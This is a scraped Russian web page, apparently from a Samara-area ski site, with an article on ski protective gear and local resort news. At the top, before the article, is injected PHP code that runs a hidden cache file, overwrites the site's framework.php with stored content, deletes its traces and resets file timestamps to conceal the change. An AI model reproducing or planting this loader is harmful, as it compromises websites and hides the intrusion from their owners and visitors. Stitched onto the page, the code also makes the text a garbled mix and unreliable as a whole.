$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Защита для катания
Баннер

Выбираем защиту для катания

В горнолыжном виде спорта защита играет крайне важную роль. Качественная и правильно подобранная горнолыжная экипировка позволит избежать травм, растяжений, ведь даже при высоком профессионализме от случайностей никто не застрахован.

Если ты прыгаешь со скал или ездишь по каким-нить перилам - нужен шлем, защита спины и щитки на ноги и другие конечности. Если соревнуешься в спуске - ничего не нужно (но шлем придется надеть, поскольку он прописан в правилах).
С другой стороны, если ездишь по густонаселенному вельвету и возишь с собой мешок всякого барахла, то это уже опасно. "Возьму еще это - оно пригодится, и это тоже - оно защитит"... А на самом деле оно просто сковывает движения и не дает адекватно реагировать. Навесь на себя еще 10 кг всякой дряни - и ты, считай, смертник.
У каждой вещи - свое назначение. Шлем защищает от удара головой о твердые предметы, но в некоторых ситуациях может сломать шею. Значит, если нет камней, об которые удариться, то это источник опасности. Рюкзак для сноуборда может предохранить при ударе спиной опять же о твердый предмет, но иногда он может зацепиться за ветки и кинуть тебя так, что мало не покажется.

Но самое главное тут вот что: ни панцыри, ни шлемы, ни рюкзаки, ни щитки не предохраняют от переломов, вывихов и растяжений, а это больше 90% всех лыжных травм - в т.ч. и при столкновениях.
Но если кататься по гладкому пологому вельвету, то можно возить с собой и на себе много прибамбасов - в таких условиях это не опасно (хоть и бесполезно). Именно что дело вкуса

Тормоза придумали очень умные люди. А раздолбаи придумали сладкую сказку о том, что надев на себя разные штуки, тормозами можно не пользоваться.

Всё, о чем идет речь, защищает от мелких досадных случайностей. Но если лыжник слаб, некоординирован, не умеет кататься или хотя бы просто обнаглел от успехов - его ничего не спасет.

Лучший способ избежать травм это горнолыжная защита. Защита предохраняет ваше тело в случае столкновения или падения: равномерно поглощается и распределяется энергия от удара, что значительно снижает вероятность серьезного повреждения. Горнолыжная защита для голеней и предплечья позволят избежать не только вывихов и ушибов, но и переломов.

Одним из элементов защитного снаряжения являются специальные шорты, которые предназначены для защиты копчика и бедер спортсмена от травм при падении. Как правило, шорты выполняются из мягкого плотного материала, могут дополняться твердыми вставками.

Горнолыжная защита состоит из нескольких элементов, одним из которых является защита спины. Данная часть защитной экипировки выполняется, как правило, в виде жилета, предназначенного для защиты позвоночника от возможных травм при падениях. При выборе защиты для спины стоит обратить внимание на качество и прочность материала, его вентиляционные свойства, а также на удобство защиты и возможность легкой регулировки лямок и ремней.

Если кисть обычно повреждается при неожиданном падении назад, то колени страдают при "плановом" торможении методом падения вперед. Синяки и ссадины тут – это, так сказать, обычное дело. Мало приятного "скрести" снег на склоне, но попасть на лед или камни будет еще хуже. Применение наколенников дает возможность намного быстрее осваивать технику, а также избежать проблем с менисками и чашечками.
Наколенники должны надежно крепиться на теле так, чтобы не сползать, а размер следует правильно выбирать из имеющегося ряда (S, M, L, XL). Иногда специальная длинная конструкция рассчитана также и на защиту всей голени.
Все написанное, в принципе, касается и налокотников, но они пользуются меньшей популярностью.

 

 

 

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Защита для катания

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика